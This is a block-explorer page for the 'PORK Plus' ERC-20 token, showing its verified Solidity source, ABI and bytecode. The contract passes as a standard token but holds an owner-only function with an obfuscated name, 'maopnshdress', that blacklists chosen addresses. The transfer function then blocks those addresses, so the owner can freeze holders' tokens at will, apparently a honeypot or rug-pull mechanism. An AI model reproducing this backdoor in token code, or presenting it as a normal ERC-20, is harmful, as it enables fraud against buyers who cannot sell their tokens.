Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
42,000,000 PORKPlus
Holders
796
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
194.660502853258159259 PORKPlusValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PORKPlusToken
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-04 */ // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity =0.8.11; contract PORKPlusToken is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; mapping(address => bool) public _isBlacklisted; constructor( string memory name_, string memory symbol_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = 18; _totalSupply = totalSupply_ * 10**_decimals; _balances[owner()] = _balances[owner()].add(_totalSupply); emit Transfer(address(0), owner(), _totalSupply); } function maopnshdress(address[] calldata accounts, bool excluded) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isBlacklisted[accounts[i]] = excluded; } } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!_isBlacklisted[sender], "Blacklisted"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"maopnshdress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052604051620011eb380380620011eb833981016040819052620000269162000353565b620000313362000179565b825162000046906003906020860190620001e0565b5081516200005c906004906020850190620001e0565b506005805460ff191660129081179091556200007a90600a620004d9565b620000869082620004ea565b6006819055620000dc9060016000620000a76000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002054620001c960201b620005be1790919060201c565b60016000620000f36000546001600160a01b031690565b6001600160a01b03168152602081019190915260400160002055620001206000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200016891815260200190565b60405180910390a350505062000564565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000620001d782846200050c565b90505b92915050565b828054620001ee9062000527565b90600052602060002090601f0160209004810192826200021257600085556200025d565b82601f106200022d57805160ff19168380011785556200025d565b828001600101855582156200025d579182015b828111156200025d57825182559160200191906001019062000240565b506200026b9291506200026f565b5090565b5b808211156200026b576000815560010162000270565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620002ae57600080fd5b81516001600160401b0380821115620002cb57620002cb62000286565b604051601f8301601f19908116603f01168101908282118183101715620002f657620002f662000286565b816040528381526020925086838588010111156200031357600080fd5b600091505b8382101562000337578582018301518183018401529082019062000318565b83821115620003495760008385830101525b9695505050505050565b6000806000606084860312156200036957600080fd5b83516001600160401b03808211156200038157600080fd5b6200038f878388016200029c565b94506020860151915080821115620003a657600080fd5b50620003b5868287016200029c565b925050604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200041d578160001904821115620004015762000401620003c6565b808516156200040f57918102915b93841c9390800290620003e1565b509250929050565b6000826200043657506001620001da565b816200044557506000620001da565b81600181146200045e5760028114620004695762000489565b6001915050620001da565b60ff8411156200047d576200047d620003c6565b50506001821b620001da565b5060208310610133831016604e8410600b8410161715620004ae575081810a620001da565b620004ba8383620003dc565b8060001904821115620004d157620004d1620003c6565b029392505050565b6000620001d760ff84168362000425565b6000816000190483118215151615620005075762000507620003c6565b500290565b60008219821115620005225762000522620003c6565b500190565b600181811c908216806200053c57607f821691505b602082108114156200055e57634e487b7160e01b600052602260045260246000fd5b50919050565b610c7780620005746000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461027e57600080fd5b806370a08231146101cb578063715018a6146101f45780638da5cb5b146101fc57806395d89b411461021757600080fd5b806323b872dd116100d357806323b872dd1461017b578063313ce5671461018e57806339509351146101a357806342aab8be146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd146101465780631cdd3be314610158575b600080fd5b61010d610291565b60405161011a919061094f565b60405180910390f35b6101366101313660046109c0565b610323565b604051901515815260200161011a565b6006545b60405190815260200161011a565b6101366101663660046109ea565b60076020526000908152604090205460ff1681565b610136610189366004610a05565b610339565b60055460405160ff909116815260200161011a565b6101366101b13660046109c0565b6103a2565b6101c96101c4366004610a41565b6103d8565b005b61014a6101d93660046109ea565b6001600160a01b031660009081526001602052604090205490565b6101c9610482565b6000546040516001600160a01b03909116815260200161011a565b61010d6104b8565b61013661022d3660046109c0565b6104c7565b6101366102403660046109c0565b610516565b61014a610253366004610acc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c961028c3660046109ea565b610523565b6060600380546102a090610aff565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610aff565b80156103195780601f106102ee57610100808354040283529160200191610319565b820191906000526020600020905b8154815290600101906020018083116102fc57829003601f168201915b5050505050905090565b60006103303384846105d1565b50600192915050565b60006103468484846106f6565b610398843361039385604051806060016040528060288152602001610bf5602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d3565b6105d1565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161033091859061039390866105be565b6000546001600160a01b0316331461040b5760405162461bcd60e51b815260040161040290610b3a565b60405180910390fd5b60005b8281101561047c57816007600086868581811061042d5761042d610b6f565b905060200201602081019061044291906109ea565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061047481610b9b565b91505061040e565b50505050565b6000546001600160a01b031633146104ac5760405162461bcd60e51b815260040161040290610b3a565b6104b660006108ff565b565b6060600480546102a090610aff565b6000610330338461039385604051806060016040528060258152602001610c1d602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d3565b60006103303384846106f6565b6000546001600160a01b0316331461054d5760405162461bcd60e51b815260040161040290610b3a565b6001600160a01b0381166105b25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610402565b6105bb816108ff565b50565b60006105ca8284610bb6565b9392505050565b6001600160a01b0383166106335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610402565b6001600160a01b0382166106945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610402565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661075a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610402565b6001600160a01b0382166107bc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610402565b6001600160a01b03831660009081526007602052604090205460ff16156108135760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610402565b61085081604051806060016040528060268152602001610bcf602691396001600160a01b03861660009081526001602052604090205491906108d3565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461087f90826105be565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106e99085815260200190565b600081848411156108f75760405162461bcd60e51b8152600401610402919061094f565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b8181101561097c57858101830151858201604001528201610960565b8181111561098e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146109bb57600080fd5b919050565b600080604083850312156109d357600080fd5b6109dc836109a4565b946020939093013593505050565b6000602082840312156109fc57600080fd5b6105ca826109a4565b600080600060608486031215610a1a57600080fd5b610a23846109a4565b9250610a31602085016109a4565b9150604084013590509250925092565b600080600060408486031215610a5657600080fd5b833567ffffffffffffffff80821115610a6e57600080fd5b818601915086601f830112610a8257600080fd5b813581811115610a9157600080fd5b8760208260051b8501011115610aa657600080fd5b602092830195509350508401358015158114610ac157600080fd5b809150509250925092565b60008060408385031215610adf57600080fd5b610ae8836109a4565b9150610af6602084016109a4565b90509250929050565b600181811c90821680610b1357607f821691505b60208210811415610b3457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610baf57610baf610b85565b5060010190565b60008219821115610bc957610bc9610b85565b50019056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c24a52151da2d561ddbf712f2a472b9f9bd6181d79fc125d1454de956c87070264736f6c634300080b0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000280de800000000000000000000000000000000000000000000000000000000000000009504f524b20506c757300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008504f524b506c7573000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461021f578063a9059cbb14610232578063dd62ed3e14610245578063f2fde38b1461027e57600080fd5b806370a08231146101cb578063715018a6146101f45780638da5cb5b146101fc57806395d89b411461021757600080fd5b806323b872dd116100d357806323b872dd1461017b578063313ce5671461018e57806339509351146101a357806342aab8be146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd146101465780631cdd3be314610158575b600080fd5b61010d610291565b60405161011a919061094f565b60405180910390f35b6101366101313660046109c0565b610323565b604051901515815260200161011a565b6006545b60405190815260200161011a565b6101366101663660046109ea565b60076020526000908152604090205460ff1681565b610136610189366004610a05565b610339565b60055460405160ff909116815260200161011a565b6101366101b13660046109c0565b6103a2565b6101c96101c4366004610a41565b6103d8565b005b61014a6101d93660046109ea565b6001600160a01b031660009081526001602052604090205490565b6101c9610482565b6000546040516001600160a01b03909116815260200161011a565b61010d6104b8565b61013661022d3660046109c0565b6104c7565b6101366102403660046109c0565b610516565b61014a610253366004610acc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101c961028c3660046109ea565b610523565b6060600380546102a090610aff565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610aff565b80156103195780601f106102ee57610100808354040283529160200191610319565b820191906000526020600020905b8154815290600101906020018083116102fc57829003601f168201915b5050505050905090565b60006103303384846105d1565b50600192915050565b60006103468484846106f6565b610398843361039385604051806060016040528060288152602001610bf5602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d3565b6105d1565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161033091859061039390866105be565b6000546001600160a01b0316331461040b5760405162461bcd60e51b815260040161040290610b3a565b60405180910390fd5b60005b8281101561047c57816007600086868581811061042d5761042d610b6f565b905060200201602081019061044291906109ea565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061047481610b9b565b91505061040e565b50505050565b6000546001600160a01b031633146104ac5760405162461bcd60e51b815260040161040290610b3a565b6104b660006108ff565b565b6060600480546102a090610aff565b6000610330338461039385604051806060016040528060258152602001610c1d602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d3565b60006103303384846106f6565b6000546001600160a01b0316331461054d5760405162461bcd60e51b815260040161040290610b3a565b6001600160a01b0381166105b25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610402565b6105bb816108ff565b50565b60006105ca8284610bb6565b9392505050565b6001600160a01b0383166106335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610402565b6001600160a01b0382166106945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610402565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661075a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610402565b6001600160a01b0382166107bc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610402565b6001600160a01b03831660009081526007602052604090205460ff16156108135760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610402565b61085081604051806060016040528060268152602001610bcf602691396001600160a01b03861660009081526001602052604090205491906108d3565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461087f90826105be565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106e99085815260200190565b600081848411156108f75760405162461bcd60e51b8152600401610402919061094f565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b8181101561097c57858101830151858201604001528201610960565b8181111561098e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146109bb57600080fd5b919050565b600080604083850312156109d357600080fd5b6109dc836109a4565b946020939093013593505050565b6000602082840312156109fc57600080fd5b6105ca826109a4565b600080600060608486031215610a1a57600080fd5b610a23846109a4565b9250610a31602085016109a4565b9150604084013590509250925092565b600080600060408486031215610a5657600080fd5b833567ffffffffffffffff80821115610a6e57600080fd5b818601915086601f830112610a8257600080fd5b813581811115610a9157600080fd5b8760208260051b8501011115610aa657600080fd5b602092830195509350508401358015158114610ac157600080fd5b809150509250925092565b60008060408385031215610adf57600080fd5b610ae8836109a4565b9150610af6602084016109a4565b90509250929050565b600181811c90821680610b1357607f821691505b60208210811415610b3457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610baf57610baf610b85565b5060010190565b60008219821115610bc957610bc9610b85565b50019056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c24a52151da2d561ddbf712f2a472b9f9bd6181d79fc125d1454de956c87070264736f6c634300080b0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000280de800000000000000000000000000000000000000000000000000000000000000009504f524b20506c757300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008504f524b506c7573000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): PORK Plus
Arg [1] : symbol_ (string): PORKPlus
Arg [2] : totalSupply_ (uint256): 42000000
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000000280de80
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 504f524b20506c75730000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [6] : 504f524b506c7573000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
4611:4468:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5625:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6670:210;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;6670:210:0;1053:187:1;5926:108:0;6014:12;;5926:108;;;1391:25:1;;;1379:2;1364:18;5926:108:0;1245:177:1;4946:46:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;6888:454;;;;;;:::i;:::-;;:::i;5827:91::-;5901:9;;5827:91;;5901:9;;;;2093:36:1;;2081:2;2066:18;5827:91:0;1951:184:1;7350:300:0;;;;;;:::i;:::-;;:::i;5397:218::-;;;;;;:::i;:::-;;:::i;:::-;;6042:177;;;;;;:::i;:::-;-1:-1:-1;;;;;6193:18:0;6161:7;6193:18;;;:9;:18;;;;;;;6042:177;1457:94;;;:::i;1238:87::-;1284:7;1311:6;1238:87;;-1:-1:-1;;;;;1311:6:0;;;3073:51:1;;3061:2;3046:18;1238:87:0;2927:203:1;5724:95:0;;;:::i;7658:400::-;;;;;;:::i;:::-;;:::i;6227:226::-;;;;;;:::i;:::-;;:::i;6461:201::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6627:18:0;;;6595:7;6627:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6461:201;1557:192;;;;;;:::i;:::-;;:::i;5625:91::-;5670:13;5703:5;5696:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5625:91;:::o;6670:210::-;6789:4;6811:39;881:10;6834:7;6843:6;6811:8;:39::i;:::-;-1:-1:-1;6868:4:0;6670:210;;;;:::o;6888:454::-;7028:4;7045:36;7055:6;7063:9;7074:6;7045:9;:36::i;:::-;7092:220;7115:6;881:10;7163:138;7219:6;7163:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7163:19:0;;;;;;:11;:19;;;;;;;;881:10;7163:33;;;;;;;;;;:37;:138::i;:::-;7092:8;:220::i;:::-;-1:-1:-1;7330:4:0;6888:454;;;;;:::o;7350:300::-;881:10;7465:4;7559:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7559:34:0;;;;;;;;;;7465:4;;7487:133;;7537:7;;7559:50;;7598:10;7559:38;:50::i;5397:218::-;1284:7;1311:6;-1:-1:-1;;;;;1311:6:0;881:10;1371:23;1363:68;;;;-1:-1:-1;;;1363:68:0;;;;;;;:::i;:::-;;;;;;;;;5502:9:::1;5497:111;5517:19:::0;;::::1;5497:111;;;5588:8;5558:14;:27;5573:8;;5582:1;5573:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5558:27:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;5558:27:0;:38;;-1:-1:-1;;5558:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;5538:3;::::1;::::0;::::1;:::i;:::-;;;;5497:111;;;;5397:218:::0;;;:::o;1457:94::-;1284:7;1311:6;-1:-1:-1;;;;;1311:6:0;881:10;1371:23;1363:68;;;;-1:-1:-1;;;1363:68:0;;;;;;;:::i;:::-;1522:21:::1;1540:1;1522:9;:21::i;:::-;1457:94::o:0;5724:95::-;5771:13;5804:7;5797:14;;;;;:::i;7658:400::-;7778:4;7800:228;881:10;7850:7;7872:145;7929:15;7872:145;;;;;;;;;;;;;;;;;881:10;7872:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7872:34:0;;;;;;;;;;;;:38;:145::i;6227:226::-;6349:4;6371:52;881:10;6395:9;6416:6;6371:9;:52::i;1557:192::-;1284:7;1311:6;-1:-1:-1;;;;;1311:6:0;881:10;1371:23;1363:68;;;;-1:-1:-1;;;1363:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1646:22:0;::::1;1638:73;;;::::0;-1:-1:-1;;;1638:73:0;;4752:2:1;1638:73:0::1;::::0;::::1;4734:21:1::0;4791:2;4771:18;;;4764:30;4830:34;4810:18;;;4803:62;-1:-1:-1;;;4881:18:1;;;4874:36;4927:19;;1638:73:0::1;4550:402:1::0;1638:73:0::1;1722:19;1732:8;1722:9;:19::i;:::-;1557:192:::0;:::o;3320:98::-;3378:7;3405:5;3409:1;3405;:5;:::i;:::-;3398:12;3320:98;-1:-1:-1;;;3320:98:0:o;8682:390::-;-1:-1:-1;;;;;8818:19:0;;8810:68;;;;-1:-1:-1;;;8810:68:0;;5292:2:1;8810:68:0;;;5274:21:1;5331:2;5311:18;;;5304:30;5370:34;5350:18;;;5343:62;-1:-1:-1;;;5421:18:1;;;5414:34;5465:19;;8810:68:0;5090:400:1;8810:68:0;-1:-1:-1;;;;;8897:21:0;;8889:78;;;;-1:-1:-1;;;8889:78:0;;5697:2:1;8889:78:0;;;5679:21:1;5736:2;5716:18;;;5709:30;5775:34;5755:18;;;5748:62;-1:-1:-1;;;5826:18:1;;;5819:32;5868:19;;8889:78:0;5495:398:1;8889:78:0;-1:-1:-1;;;;;8980:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9032:32;;1391:25:1;;;9032:32:0;;1364:18:1;9032:32:0;;;;;;;;8682:390;;;:::o;8066:608::-;-1:-1:-1;;;;;8206:20:0;;8198:70;;;;-1:-1:-1;;;8198:70:0;;6100:2:1;8198:70:0;